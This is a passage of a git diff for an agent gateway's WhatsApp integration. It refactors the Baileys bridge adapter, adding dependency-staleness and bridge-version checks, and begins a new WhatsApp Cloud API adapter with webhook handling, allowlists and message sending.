- return {part.strip() for part in str(raw).split(",") if part.strip()}
-
- @staticmethod
- def _coerce_allow_list(raw) -> set[str]:
- """Parse allow_from / group_allow_from from config or env var."""
- if raw is None:
- return set()
- if isinstance(raw, list):
- return {str(part).strip() for part in raw if str(part).strip()}
- return {part.strip() for part in str(raw).split(",") if part.strip()}
-
- @staticmethod
- def _is_broadcast_chat(chat_id: str) -> bool:
- """True for WhatsApp pseudo-chats that aren't real conversations.
-
- Covers Status updates (Stories) and Channel/Newsletter broadcasts.
- These show up as inbound messages on Baileys but the agent should
- never reply — answering a Story update spams the contact's status
- feed, and Channel posts aren't addressable in the first place.
- """
- if not chat_id:
- return False
- cid = chat_id.strip().lower()
- if cid == "status@broadcast":
- return True
- # @broadcast suffix covers status@broadcast plus any future
- # broadcast-list variants. @newsletter is the Channel JID suffix.
- if cid.endswith("@broadcast") or cid.endswith("@newsletter"):
- return True
- return False
-
- @property
- def enforces_own_access_policy(self) -> bool:
- """WhatsApp gates DM/group access at intake via dm_policy/group_policy."""
- return True
-
- def _is_dm_allowed(self, sender_id: str) -> bool:
- """Check whether a DM from the given sender should be processed."""
- if self._dm_policy == "disabled":
- return False
- if self._dm_policy == "allowlist":
- return sender_id in self._allow_from
- # "open" — all DMs allowed
- return True
-
- def _is_group_allowed(self, chat_id: str) -> bool:
- """Check whether a group chat should be processed."""
- if self._group_policy == "disabled":
- return False
- if self._group_policy == "allowlist":
- return chat_id in self._group_allow_from
- # "open" — all groups allowed
- return True
-
- def _compile_mention_patterns(self):
- patterns = self.config.extra.get("mention_patterns")
- if patterns is None:
- raw = os.getenv("WHATSAPP_MENTION_PATTERNS", "").strip()
- if raw:
- try:
- patterns = json.loads(raw)
- except Exception:
- patterns = [part.strip() for part in raw.splitlines() if part.strip()]
- if not patterns:
- patterns = [part.strip() for part in raw.split(",") if part.strip()]
- if patterns is None:
- return []
- if isinstance(patterns, str):
- patterns = [patterns]
- if not isinstance(patterns, list):
- logger.warning("[%s] whatsapp mention_patterns must be a list or string; got %s", self.name, type(patterns).__name__)
- return []
-
- compiled = []
- for pattern in patterns:
- if not isinstance(pattern, str) or not pattern.strip():
- continue
- try:
- compiled.append(re.compile(pattern, re.IGNORECASE))
- except re.error as exc:
- logger.warning("[%s] Invalid WhatsApp mention pattern %r: %s", self.name, pattern, exc)
- if compiled:
- logger.info("[%s] Loaded %d WhatsApp mention pattern(s)", self.name, len(compiled))
- return compiled
-
- @staticmethod
- def _normalize_whatsapp_id(value: Optional[str]) -> str:
- if not value:
- return ""
- normalized = str(value).strip()
- if ":" in normalized and "@" in normalized:
- normalized = normalized.replace(":", "@", 1)
- return normalized
-
- def _bot_ids_from_message(self, data: Dict[str, Any]) -> set[str]:
- bot_ids = set()
- for candidate in data.get("botIds") or []:
- normalized = self._normalize_whatsapp_id(candidate)
- if normalized:
- bot_ids.add(normalized)
- return bot_ids
-
- def _message_is_reply_to_bot(self, data: Dict[str, Any]) -> bool:
- quoted_participant = self._normalize_whatsapp_id(data.get("quotedParticipant"))
- if not quoted_participant:
- return False
- return quoted_participant in self._bot_ids_from_message(data)
-
- def _message_mentions_bot(self, data: Dict[str, Any]) -> bool:
- bot_ids = self._bot_ids_from_message(data)
- if not bot_ids:
- return False
- mentioned_ids = {
- nid
- for candidate in (data.get("mentionedIds") or [])
- if (nid := self._normalize_whatsapp_id(candidate))
- }
- if mentioned_ids & bot_ids:
- return True
-
- body = str(data.get("body") or "")
- lower_body = body.lower()
- for bot_id in bot_ids:
- bare_id = bot_id.split("@", 1)[0].lower()
- if bare_id and (f"@{bare_id}" in lower_body or bare_id in lower_body):
- return True
- return False
-
- def _message_matches_mention_patterns(self, data: Dict[str, Any]) -> bool:
- if not self._mention_patterns:
- return False
- body = str(data.get("body") or "")
- return any(pattern.search(body) for pattern in self._mention_patterns)
-
- def _clean_bot_mention_text(self, text: str, data: Dict[str, Any]) -> str:
- if not text:
- return text
- bot_ids = self._bot_ids_from_message(data)
- cleaned = text
- for bot_id in bot_ids:
- bare_id = bot_id.split("@", 1)[0]
- if bare_id:
- cleaned = re.sub(rf"@{re.escape(bare_id)}\b[,:\-]*\s*", "", cleaned)
- return cleaned.strip() or text
-
- def _should_process_message(self, data: Dict[str, Any]) -> bool:
- chat_id_raw = str(data.get("chatId") or "")
- # WhatsApp uses pseudo-chats for Status updates (Stories) and
- # Channel/Newsletter broadcasts. These are not real conversations
- # and the agent should never reply to them — even in self-chat mode
- # where the bridge may surface them as "fromMe" events.
- if self._is_broadcast_chat(chat_id_raw):
- return False
- is_group = data.get("isGroup", False)
- if is_group:
- chat_id = chat_id_raw
- if not self._is_group_allowed(chat_id):
- return False
- else:
- sender_id = str(data.get("senderId") or data.get("from") or "")
- if not self._is_dm_allowed(sender_id):
- return False
- # DMs that pass the policy gate are always processed
- return True
- # Group messages: check mention / free-response settings
- chat_id = str(data.get("chatId") or "")
- if chat_id in self._whatsapp_free_response_chats():
- return True
- if not self._whatsapp_require_mention():
- return True
- body = str(data.get("body") or "").strip()
- if body.startswith("/"):
- return True
- if self._message_is_reply_to_bot(data):
- return True
- if self._message_mentions_bot(data):
- return True
- return self._message_matches_mention_patterns(data)
-
async def connect(self) -> bool:
"""
Start the WhatsApp bridge.
@@ -587,9 +388,21 @@ async def connect(self) -> bool:
logger.warning("[%s] Could not acquire session lock (non-fatal): %s", self.name, e)
try:
- # Auto-install npm dependencies if node_modules doesn't exist
+ # Auto-install npm dependencies when node_modules is missing OR
+ # package.json changed since the last install (e.g. after
+ # `hermes update` bumps the Baileys pin). The stamp file records
+ # the package.json hash of the last successful install.
bridge_dir = bridge_path.parent
- if not (bridge_dir / "node_modules").exists():
+ _pkg_json = bridge_dir / "package.json"
+ _dep_stamp = bridge_dir / "node_modules" / ".hermes-pkg-hash"
+ _pkg_hash = _file_content_hash(_pkg_json)
+ _deps_fresh = False
+ if (bridge_dir / "node_modules").exists():
+ try:
+ _deps_fresh = (_dep_stamp.read_text().strip() == _pkg_hash) and bool(_pkg_hash)
+ except OSError:
+ _deps_fresh = False
+ if not _deps_fresh:
print(f"[{self.name}] Installing WhatsApp bridge dependencies...")
# Resolve npm path so Windows can execute the .cmd shim.
# shutil.which honours PATHEXT; on POSIX it returns the
@@ -610,6 +423,11 @@ async def connect(self) -> bool:
print(f"[{self.name}] npm install failed: {install_result.stderr}")
return False
print(f"[{self.name}] Dependencies installed")
+ if _pkg_hash:
+ try:
+ _dep_stamp.write_text(_pkg_hash)
+ except OSError:
+ pass # Stamp is an optimization; install still succeeded
except Exception as e:
print(f"[{self.name}] Failed to install dependencies: {e}")
return False
@@ -629,12 +447,28 @@ async def connect(self) -> bool:
data = await resp.json()
bridge_status = data.get("status", "unknown")
if bridge_status == "connected":
- print(f"[{self.name}] Using existing bridge (status: {bridge_status})")
- self._mark_connected()
- self._bridge_process = None # Not managed by us
- self._http_session = aiohttp.ClientSession()
- self._poll_task = asyncio.create_task(self._poll_messages())
- return True
+ # Staleness handshake: only reuse a running
+ # bridge if it is serving the same bridge.js
+ # that is on disk right now. A long-lived
+ # bridge survives gateway restarts AND
+ # `hermes update`, so without this check it
+ # keeps serving pre-update code forever
+ # (e.g. no inbound media download). Old
+ # bridges that don't report scriptHash are
+ # treated as stale by definition.
+ running_hash = data.get("scriptHash", "")
+ disk_hash = _file_content_hash(bridge_path)
+ if running_hash and disk_hash and running_hash == disk_hash:
+ print(f"[{self.name}] Using existing bridge (status: {bridge_status})")
+ self._mark_connected()
+ self._bridge_process = None # Not managed by us
+ self._http_session = aiohttp.ClientSession()
+ self._poll_task = asyncio.create_task(self._poll_messages())
+ return True
+ print(
+ f"[{self.name}] Running bridge is stale "
+ f"(running={running_hash or 'unversioned'}, disk={disk_hash}), restarting"
+ )
else:
print(f"[{self.name}] Bridge found but not connected (status: {bridge_status}), restarting")
except Exception:
@@ -659,6 +493,18 @@ async def connect(self) -> bool:
bridge_env = os.environ.copy()
if self._reply_prefix is not None:
bridge_env["WHATSAPP_REPLY_PREFIX"] = self._reply_prefix
+ # Pass the profile-aware cache directories so the bridge writes
+ # media where the Python side reads it. Without these the bridge
+ # hardcodes ~/.hermes/{image,audio,document}_cache, which diverges
+ # under HERMES_HOME overrides, profiles, and the new cache/ layout.
+ from gateway.platforms.base import (
+ get_audio_cache_dir as _get_audio_dir,
+ get_document_cache_dir as _get_doc_dir,
+ get_image_cache_dir as _get_img_dir,
+ )
+ bridge_env["HERMES_IMAGE_CACHE_DIR"] = str(_get_img_dir())
+ bridge_env["HERMES_AUDIO_CACHE_DIR"] = str(_get_audio_dir())
+ bridge_env["HERMES_DOCUMENT_CACHE_DIR"] = str(_get_doc_dir())
self._bridge_process = subprocess.Popen(
[
@@ -851,63 +697,6 @@ async def disconnect(self) -> None:
self._close_bridge_log()
print(f"[{self.name}] Disconnected")
- def format_message(self, content: str) -> str:
- """Convert standard markdown to WhatsApp-compatible formatting.
-
- WhatsApp supports: *bold*, _italic_, ~strikethrough~, ```code```,
- and monospaced `inline`. Standard markdown uses different syntax
- for bold/italic/strikethrough, so we convert here.
-
- Code blocks (``` fenced) and inline code (`) are protected from
- conversion via placeholder substitution.
- """
- if not content:
- return content
-
- # --- 1. Protect fenced code blocks from formatting changes ---
- _FENCE_PH = "\x00FENCE"
- fences: list[str] = []
-
- def _save_fence(m: re.Match) -> str:
- fences.append(m.group(0))
- return f"{_FENCE_PH}{len(fences) - 1}\x00"
-
- result = re.sub(r"```[\s\S]*?```", _save_fence, content)
-
- # --- 2. Protect inline code ---
- _CODE_PH = "\x00CODE"
- codes: list[str] = []
-
- def _save_code(m: re.Match) -> str:
- codes.append(m.group(0))
- return f"{_CODE_PH}{len(codes) - 1}\x00"
-
- result = re.sub(r"`[^`\n]+`", _save_code, result)
-
- # --- 3. Convert markdown formatting to WhatsApp syntax ---
- # Bold: **text** or __text__ → *text*
- result = re.sub(r"\*\*(.+?)\*\*", r"*\1*", result)
- result = re.sub(r"__(.+?)__", r"*\1*", result)
- # Strikethrough: ~~text~~ → ~text~
- result = re.sub(r"~~(.+?)~~", r"~\1~", result)
- # Italic: *text* is already WhatsApp italic — leave as-is
- # _text_ is already WhatsApp italic — leave as-is
-
- # --- 4. Convert markdown headers to bold text ---
- # # Header → *Header*
- result = re.sub(r"^#{1,6}\s+(.+)$", r"*\1*", result, flags=re.MULTILINE)
-
- # --- 5. Convert markdown links: [text](url) → text (url) ---
- result = re.sub(r"\[([^\]]+)\]\(([^)]+)\)", r"\1 (\2)", result)
-
- # --- 6. Restore protected sections ---
- for i, fence in enumerate(fences):
- result = result.replace(f"{_FENCE_PH}{i}\x00", fence)
- for i, code in enumerate(codes):
- result = result.replace(f"{_CODE_PH}{i}\x00", code)
-
- return result
-
async def send(
self,
chat_id: str,
diff --git a/gateway/platforms/whatsapp_cloud.py b/gateway/platforms/whatsapp_cloud.py
new file mode 100644
index 000000000000..0d406274c0c4
--- /dev/null
+++ b/gateway/platforms/whatsapp_cloud.py
@@ -0,0 +1,1956 @@
+"""
+WhatsApp Cloud API adapter — official Meta WhatsApp Business Platform.
+
+This adapter is a *complement* to ``whatsapp.py`` (the Baileys bridge), not
+a replacement. The two are independent:
+
+- ``whatsapp.py`` — unofficial Baileys bridge, personal accounts, no
+ public URL needed, account-ban risk.
+- ``whatsapp_cloud.py`` (this file) — official Meta Cloud API, Business
+ account required, public webhook URL required,
+ token-based auth.
+
+Both share gating / mention / formatting behavior via ``WhatsAppBehaviorMixin``.
+
+Phase scope (this file evolves across phases):
+- Phase 2 — outbound text via Graph API + webhook server with verify-token
+ handshake.
+- Phase 3 — X-Hub-Signature-256 HMAC verification (raw body, constant-time)
+ + wamid replay protection + dispatch via handle_message. Phase 3
+ adapter is end-to-end usable for text DMs.
+- Phase 4 — media upload + send (image/video/audio/document), inbound
+ media download via the Graph media endpoint, voice-note opus
+ conversion via ffmpeg with graceful MP3 fallback when ffmpeg
+ isn't on PATH. Document text injection for readable types.
+- Phase 5 — 24-hour conversation window + template fallback.
+
+Required env vars to enable the adapter:
+- WHATSAPP_CLOUD_PHONE_NUMBER_ID (the Graph URL path component)
+- WHATSAPP_CLOUD_ACCESS_TOKEN (System User permanent token)
+
+Optional / Phase-3+:
+- WHATSAPP_CLOUD_APP_ID
+- WHATSAPP_CLOUD_APP_SECRET (HMAC key for X-Hub-Signature-256)
+- WHATSAPP_CLOUD_WABA_ID (analytics / future use)
+- WHATSAPP_CLOUD_VERIFY_TOKEN (hub.verify_token shared secret)
+- WHATSAPP_CLOUD_WEBHOOK_HOST (default 0.0.0.0)
+- WHATSAPP_CLOUD_WEBHOOK_PORT (default 8090)
+- WHATSAPP_CLOUD_WEBHOOK_PATH (default /whatsapp/webhook)
+- WHATSAPP_CLOUD_API_VERSION (default v20.0)
+"""
+
+from __future__ import annotations
+
+import asyncio
+import hashlib
+import hmac
+import logging
+import mimetypes
+import os
+import re
+import shutil
+import uuid
+from collections import OrderedDict
+from pathlib import Path
+from typing import Any, Dict, Optional
+
+try:
+ from aiohttp import web
+
+ AIOHTTP_AVAILABLE = True
+except ImportError:
+ AIOHTTP_AVAILABLE = False
+ web = None # type: ignore[assignment]
+
+try:
+ import httpx
+
+ HTTPX_AVAILABLE = True
+except ImportError:
+ HTTPX_AVAILABLE = False
+ httpx = None # type: ignore[assignment]
+
+from gateway.config import Platform, PlatformConfig
+from gateway.platforms.base import (
+ BasePlatformAdapter,
+ MessageEvent,
+ MessageType,
+ SendResult,
+ SUPPORTED_DOCUMENT_TYPES,
+)
+from gateway.platforms.whatsapp_common import WhatsAppBehaviorMixin
+from hermes_constants import get_hermes_dir
+
+logger = logging.getLogger(__name__)
+
+
+DEFAULT_API_VERSION = "v20.0"
+DEFAULT_WEBHOOK_HOST = "0.0.0.0"
+DEFAULT_WEBHOOK_PORT = 8090
+DEFAULT_WEBHOOK_PATH = "/whatsapp/webhook"
+GRAPH_API_BASE = "https://graph.facebook.com"
+# Meta retries failed webhooks for up to 7 days. We don't need to remember
+# every wamid for the full retry window — the practical risk is duplicate
+# delivery within minutes, not days. 5000 entries with FIFO eviction is
+# plenty for normal traffic and bounds memory.
+WAMID_DEDUP_CACHE_SIZE = 5000
+# Cap for the interactive-button state dicts and the per-chat last-wamid
+# cache. Generous for any realistic number of in-flight prompts / chats.
+INTERACTIVE_STATE_CACHE_SIZE = 1000
+
+# Per-type size caps documented by Meta for the Cloud API /media endpoint.
+# These are the hard limits; we refuse uploads above them with a clean
+# error instead of round-tripping to Graph just to be rejected.
+# https://developers.facebook.com/docs/whatsapp/cloud-api/reference/media
+_MEDIA_SIZE_LIMITS = {
+ "image": 5 * 1024 * 1024, # 5 MB (JPEG, PNG)
+ "video": 16 * 1024 * 1024, # 16 MB
+ "audio": 16 * 1024 * 1024, # 16 MB (MP3, AAC, AMR, OGG opus)
+ "document": 100 * 1024 * 1024, # 100 MB
+ "sticker": 100 * 1024, # 100 KB animated, 500 KB static
+}
+
+# Default mime types when we can't guess from the path's extension.
+_DEFAULT_MIME = {
+ "image": "image/jpeg",
+ "video": "video/mp4",
+ "audio": "audio/mpeg",
+ "document": "application/octet-stream",
+ "sticker": "image/webp",
+}
+
+# ffmpeg location at import time. ``shutil.which`` honours PATHEXT on
+# Windows so a user's ``ffmpeg.exe`` is picked up. None means MP3 voice
+# falls back to "audio file attachment" rendering in WhatsApp.
+_FFMPEG_PATH = shutil.which("ffmpeg")
+
+# Python's mimetypes module returns RFC-correct but real-world-uncommon
+# extensions for some types (audio/ogg → .oga since RFC 5334; audio/mp4
+# → .mp4 instead of the de-facto .m4a for voice notes). Our downstream
+# STT pipeline whitelists the common-in-the-wild extensions, so override
+# the few Meta sends that don't match those defaults.
+_WHATSAPP_MIME_EXTENSION_OVERRIDES: Dict[str, str] = {
+ # WhatsApp voice notes — opus codec inside an Ogg container.
+ "audio/ogg": ".ogg",
+ "audio/x-opus+ogg": ".ogg",
+ "audio/opus": ".ogg",
+ # iOS voice memos — AAC inside an MP4 container; STT tools expect .m4a.
+ "audio/mp4": ".m4a",
+ "audio/x-m4a": ".m4a",
+ # Image — mimetypes occasionally returns .jpe (legacy IANA) instead
+ # of .jpg, which trips up tools that switch on extension.
+ "image/jpeg": ".jpg",
+}
+
+
+def _ext_for_mime(mime: str) -> Optional[str]:
+ """Resolve a mime type to the file extension we want on disk.
+
+ Consults the override map first so types like ``audio/ogg`` produce
+ the extension downstream tools actually accept (``.ogg``, not the
+ technically-correct-but-broken ``.oga``). Falls back to Python's
+ ``mimetypes.guess_extension`` for anything we haven't pinned.
+ """
+ if not mime:
+ return None
+ primary = mime.split(";")[0].strip().lower()
+ override = _WHATSAPP_MIME_EXTENSION_OVERRIDES.get(primary)
+ if override:
+ return override
+ return mimetypes.guess_extension(primary) or None
+
+
+# Inbound media cache lives under the user's hermes dir so it survives
+# restarts and gateway reloads — same convention the Baileys bridge uses.
+_INBOUND_MEDIA_CACHE = Path(get_hermes_dir("platforms/whatsapp_cloud/media", "whatsapp_cloud/media"))
+
+
+def check_whatsapp_cloud_requirements() -> bool:
+ """Return whether transport dependencies are available.
+
+ aiohttp is needed for the webhook server (inbound). httpx is needed
+ for Graph API calls (outbound). Both ship with hermes-agent's default
+ dependency set, so this should always be True in normal installs.
+ """
+ return AIOHTTP_AVAILABLE and HTTPX_AVAILABLE
+
+
+class WhatsAppCloudAdapter(WhatsAppBehaviorMixin, BasePlatformAdapter):
+ """WhatsApp Business Cloud API adapter.
+
+ Outbound: HTTPS POST to ``graph.facebook.com///messages``.
+ Inbound: aiohttp server accepting Meta's webhook payloads.
+
+ The mixin must come first in the bases list so its ``format_message``
+ overrides ``BasePlatformAdapter.format_message`` (the base provides a
+ generic implementation that does not convert markdown to WhatsApp
+ syntax). The Baileys adapter does the same.
+ """
+
+ def __init__(self, config: PlatformConfig):
+ super().__init__(config, Platform.WHATSAPP_CLOUD)
+ extra = config.extra or {}
+
+ # Required
+ self._phone_number_id: str = str(extra.get("phone_number_id", "")).strip()
+ self._access_token: str = str(extra.get("access_token", "")).strip()
+
+ # Optional / used in later phases
+ self._app_id: str = str(extra.get("app_id", "")).strip()
+ self._app_secret: str = str(extra.get("app_secret", "")).strip()
+ self._waba_id: str = str(extra.get("waba_id", "")).strip()
+ self._verify_token: str = str(extra.get("verify_token", "")).strip()
+
+ # Webhook server config
+ self._webhook_host: str = str(extra.get("webhook_host", DEFAULT_WEBHOOK_HOST))
+ self._webhook_port: int = int(extra.get("webhook_port", DEFAULT_WEBHOOK_PORT))
+ self._webhook_path: str = self._normalize_path(
+ extra.get("webhook_path", DEFAULT_WEBHOOK_PATH)
+ )
+ self._health_path: str = self._normalize_path(
+ extra.get("health_path", "/health")
+ )
+
+ # Graph API
+ self._api_version: str = str(extra.get("api_version", DEFAULT_API_VERSION))
+
+ # Behavior-mixin contract: these names are read by the mixin's
+ # gating methods. WHATSAPP_CLOUD_* env vars take precedence so the
+ # two adapters can run in parallel with independent policies; the
+ # shared WHATSAPP_* names remain as fallback for single-adapter
+ # setups.
+ import os
+
+ self._reply_prefix: Optional[str] = extra.get("reply_prefix")
+ self._dm_policy: str = str(
+ extra.get("dm_policy")
+ or os.getenv("WHATSAPP_CLOUD_DM_POLICY")
+ or os.getenv("WHATSAPP_DM_POLICY", "open")
+ ).strip().lower()
+ self._allow_from: set[str] = self._normalize_allow_ids(
+ self._coerce_allow_list(
+ extra.get("allow_from")
+ or extra.get("allowFrom")
+ or os.getenv("WHATSAPP_CLOUD_ALLOW_FROM")
+ )
+ )
+ self._group_policy: str = str(
+ extra.get("group_policy")
+ or os.getenv("WHATSAPP_CLOUD_GROUP_POLICY")
+ or os.getenv("WHATSAPP_GROUP_POLICY", "open")
+ ).strip().lower()
+ self._group_allow_from: set[str] = self._normalize_allow_ids(
+ self._coerce_allow_list(
+ extra.get("group_allow_from")
+ or extra.get("groupAllowFrom")
+ or os.getenv("WHATSAPP_CLOUD_GROUP_ALLOW_FROM")
+ )
+ )
+ self._mention_patterns = self._compile_mention_patterns()
+
+ # Webhook dedup state — wamid → True. OrderedDict gives O(1) FIFO
+ # eviction. In-memory only; Phase 5 may promote to SessionDB if we
+ # decide we need replay protection across gateway restarts.
+ self._seen_wamids: "OrderedDict[str, bool]" = OrderedDict()
+ self._duplicate_count: int = 0
+ self._accepted_count: int = 0
+ self._rejected_signature_count: int = 0
+
+ # One-shot flags for warnings that would otherwise spam the log.
+ self._warned_no_ffmpeg: bool = False
+
+ # Per-chat cache of the latest inbound wamid. Meta's typing
+ # indicator + read-receipt API requires a specific message_id
+ # to attach to (typically "the latest message in the
+ # conversation"). We refresh this on every accepted inbound
+ # message so ``send_typing`` always has a valid target without
+ # threading an extra kwarg through the gateway's base contract.
+ # In-memory only; on gateway restart the next inbound message
+ # repopulates it.
+ self._last_inbound_wamid_by_chat: "OrderedDict[str, str]" = OrderedDict()
+
+ # Interactive-button state. Each maps a short id (embedded in the
+ # outbound button payload) → the session/correlation key needed
+ # by the gateway's resolver. See ``_handle_interactive_reply`` for
+ # the dispatch table. Entries are popped when the user taps a
+ # button; ignored prompts would otherwise accumulate forever, so
+ # each dict is FIFO-capped via _bounded_put (oldest pending prompt
+ # evicted first — an evicted button tap degrades to the plain-text
+ # fallback path, same as after a gateway restart).
+ # _clarify_state: clarify_id → session_key (resolves via
+ # tools.clarify_gateway.resolve_gateway_clarify)
+ # _exec_approval_state: approval_id → session_key (resolves via
+ # tools.approval.resolve_gateway_approval)
+ # _slash_confirm_state: confirm_id → session_key (resolves via
+ # tools.slash_confirm.resolve)
+ self._clarify_state: "OrderedDict[str, str]" = OrderedDict()
+ self._exec_approval_state: "OrderedDict[str, str]" = OrderedDict()
+ self._slash_confirm_state: "OrderedDict[str, str]" = OrderedDict()
+
+ # Runtime
+ self._runner = None
+ self._http_client: Optional["httpx.AsyncClient"] = None
+
+ # ------------------------------------------------------------------ helpers
+ @staticmethod
+ def _normalize_path(path: Any) -> str:
+ raw = str(path or "").strip() or "/"
+ return raw if raw.startswith("/") else f"/{raw}"
+
+ def _graph_url(self, path: str) -> str:
+ """Build a Graph API URL for this adapter's phone-number scope."""
+ if path.startswith("/"):
+ path = path[1:]
+ return f"{GRAPH_API_BASE}/{self._api_version}/{self._phone_number_id}/{path}"
+
+ @staticmethod
+ def _bounded_put(cache: "OrderedDict[str, str]", key: str, value: str) -> None:
+ """Insert into a FIFO-capped OrderedDict, evicting oldest entries."""
+ cache[key] = value
+ while len(cache) > INTERACTIVE_STATE_CACHE_SIZE:
+ cache.popitem(last=False)
+
+ def _effective_reply_prefix(self) -> str:
+ """Cloud API has no self-chat concept — never prepend a reply prefix.
+
+ Override the mixin default which keys off WHATSAPP_MODE=self-chat
+ (a Baileys-only setting).
+ """
+ if self._reply_prefix is not None:
+ return self._reply_prefix.replace("\\n", "\n")
+ return ""
+
+ @staticmethod
+ def _normalize_allow_ids(ids: set[str]) -> set[str]:
+ """Normalize allowlist entries to bare wa_id form.
+
+ The Cloud API identifies users by bare wa_id (digits, no JID
+ suffix), while Baileys uses ``@s.whatsapp.net`` JIDs.
+ Users sharing an allowlist between both adapters (or pasting a
+ JID/phone number with ``+`` or separators) should still match,
+ so strip any ``@...`` suffix and non-digit characters.
+ """
+ normalized: set[str] = set()
+ for entry in ids:
+ bare = entry.split("@", 1)[0]
+ digits = re.sub(r"\D", "", bare)
+ normalized.add(digits or entry)
+ return normalized
+
+ def _is_dm_allowed(self, sender_id: str) -> bool:
+ """Allowlist check against the normalized bare wa_id."""
+ if self._dm_policy == "allowlist":
+ bare = re.sub(r"\D", "", str(sender_id).split("@", 1)[0])
+ return (bare or sender_id) in self._allow_from
+ return super()._is_dm_allowed(sender_id)
+
+ # ------------------------------------------------------------------ lifecycle
+ async def connect(self) -> bool:
+ if not check_whatsapp_cloud_requirements():
+ self._set_fatal_error(
+ "whatsapp_cloud_deps_missing",
+ "aiohttp and httpx are required for whatsapp_cloud — "
+ "reinstall hermes-agent.",
+ retryable=False,
+ )
+ return False
+ if not self._phone_number_id or not self._access_token:
+ self._set_fatal_error(
+ "whatsapp_cloud_unconfigured",
+ "WHATSAPP_CLOUD_PHONE_NUMBER_ID and WHATSAPP_CLOUD_ACCESS_TOKEN "
+ "are required.",
+ retryable=False,
+ )
+ return False
+
+ # Outbound HTTP client. Tighter keepalive matches other platform
+ # adapters so idle CLOSE_WAIT drains promptly (#18451).
+ from gateway.platforms._http_client_limits import platform_httpx_limits
+
+ self._http_client = httpx.AsyncClient(
+ timeout=30.0, limits=platform_httpx_limits()
+ )
+
+ # Inbound webhook server.
+ app = web.Application()
+ app.router.add_get(self._health_path, self._handle_health)
+ app.router.add_get(self._webhook_path, self._handle_verify)
+ app.router.add_post(self._webhook_path, self._handle_webhook)
+
+ self._runner = web.AppRunner(app)
+ await self._runner.setup()
+ site = web.TCPSite(self._runner, self._webhook_host, self._webhook_port)
+ await site.start()
+
+ self._mark_connected()
+ logger.info(
+ "[whatsapp_cloud] Listening on %s:%d%s (Graph %s, phone_id=%s)",
+ self._webhook_host,
+ self._webhook_port,
+ self._webhook_path,
+ self._api_version,
+ self._phone_number_id,
+ )
+ if not self._verify_token:
+ logger.warning(
+ "[whatsapp_cloud] WHATSAPP_CLOUD_VERIFY_TOKEN is not set — "
+ "the GET subscription handshake will fail until it is."
+ )
+ if not self._app_secret:
+ logger.warning(
+ "[whatsapp_cloud] WHATSAPP_CLOUD_APP_SECRET is not set — "
+ "incoming webhook POSTs will be refused with 503. Set "
+ "the app secret to enable inbound message delivery."
+ )
+ return True
+
+ async def disconnect(self) -> None:
+ if self._runner is not None:
+ try:
+ await self._runner.cleanup()
+ except Exception:
+ logger.exception("[whatsapp_cloud] webhook server cleanup failed")
+ self._runner = None
+ if self._http_client is not None:
+ try:
+ await self._http_client.aclose()
+ except Exception:
+ logger.exception("[whatsapp_cloud] http client close failed")
+ self._http_client = None
+ self._mark_disconnected()
+
+ # ------------------------------------------------------------------ outbound
+ async def send(
+ self,
+ chat_id: str,
+ content: str,
+ reply_to: Optional[str] = None,
+ metadata: Optional[Dict[str, Any]] = None,
+ ) -> SendResult:
+ """Send a text message via Graph API.
+
+ ``chat_id`` is the recipient's WhatsApp ID (``wa_id``) — typically
+ their phone number with country code, no plus sign.
+ """
+ if self._http_client is None:
+ return SendResult(success=False, error="Not connected")
+ if not content or not content.strip():
+ return SendResult(success=True, message_id=None)
+
+ formatted = self.format_message(content)
+ chunks = self.truncate_message(formatted, self._outgoing_chunk_limit())
+
+ url = self._graph_url("messages")
+ headers = {
+ "Authorization": f"Bearer {self._access_token}",
+ "Content-Type": "application/json",
+ }
+
+ last_message_id: Optional[str] = None
+ for idx, chunk in enumerate(chunks):
+ payload: Dict[str, Any] = {
+ "messaging_product": "whatsapp",
+ "recipient_type": "individual",
+ "to": chat_id,
+ "type": "text",
+ "text": {"body": chunk, "preview_url": True},
+ }
+ if reply_to and idx == 0:
+ # Quote the user's message on the first chunk only.
+ payload["context"] = {"message_id": reply_to}
+ try:
+ resp = await self._http_client.post(url, headers=headers, json=payload)
+ except Exception as exc:
+ logger.exception("[whatsapp_cloud] send failed")
+ return SendResult(success=False, error=str(exc))
+
+ if resp.status_code != 200:
+ # Meta returns structured errors in the body — surface them
+ # to the caller so log lines have actionable context.
+ try:
+ body = resp.json()
+ except Exception:
+ body = {"raw": resp.text[:500]}
+ error_msg = self._format_graph_error(body, resp.status_code)
+ logger.warning(
+ "[whatsapp_cloud] send rejected (status=%d): %s",
+ resp.status_code,
+ error_msg,
+ )
+ return SendResult(success=False, error=error_msg)
+
+ try:
+ data = resp.json()
+ ids = data.get("messages") or []
+ if ids:
+ last_message_id = ids[0].get("id")
+ except Exception:
+ pass
+
+ return SendResult(success=True, message_id=last_message_id)
+
+ # ------------------------------------------------------------------ typing indicator + read receipts
+ #
+ # Meta couples these into a single API call: a POST to /messages
+ # with ``status: "read"`` marks the message read (blue double
+ # checkmarks), and the optional ``typing_indicator`` field
+ # additionally shows the user a "typing..." pip in their chat UI.
+ # The indicator auto-dismisses when we respond OR after 25 seconds,
+ # whichever comes first — so this matches "I see your message and
+ # I'm working on a reply" UX exactly.
+ #
+ # The API requires a specific message_id to attach to. We cache the
+ # latest inbound wamid per chat in _last_inbound_wamid_by_chat
+ # (refreshed in _build_message_event_from_cloud) so this method can
+ # look it up without needing the gateway base contract to plumb
+ # event.message_id into send_typing's signature.
+
+ async def send_typing(self, chat_id: str, metadata=None) -> None:
+ """Mark the latest inbound message as read AND show a typing
+ indicator in the user's chat UI.
+
+ Best-effort: any error (no inbound wamid yet, network failure,
+ stale token, message older than 30 days) is swallowed silently
+ so the agent's main reply path isn't blocked by UX polish.
+ """
+ if self._http_client is None:
+ return
+ wamid = self._last_inbound_wamid_by_chat.get(chat_id)
+ if not wamid:
+ # No inbound message yet for this chat (or cache cleared on
+ # restart) — skip. The next inbound message will repopulate.
+ return
+
+ url = self._graph_url("messages")
+ headers = {
+ "Authorization": f"Bearer {self._access_token}",
+ "Content-Type": "application/json",
+ }
+ payload = {
+ "messaging_product": "whatsapp",
+ "status": "read",
+ "message_id": wamid,
+ "typing_indicator": {"type": "text"},
+ }
+ try:
+ resp = await self._http_client.post(url, headers=headers, json=payload)
+ except Exception:
+ # Network / connection error — silent fail. Typing UX must
+ # never block message dispatch.
+ return
+ # Best-effort: surface 4xx for ops visibility but don't raise.
+ # Code 131009 = "Parameter value is not valid" (typically wamid
+ # > 30 days old) — common after a long-quiet conversation, log
+ # at info not warning.
+ if resp.status_code != 200:
+ try:
+ body = resp.json()
+ code = ((body or {}).get("error") or {}).get("code")
+ except Exception:
+ code = None
+ if code == 131009:
+ logger.info(
+ "[whatsapp_cloud] typing/read indicator rejected: "
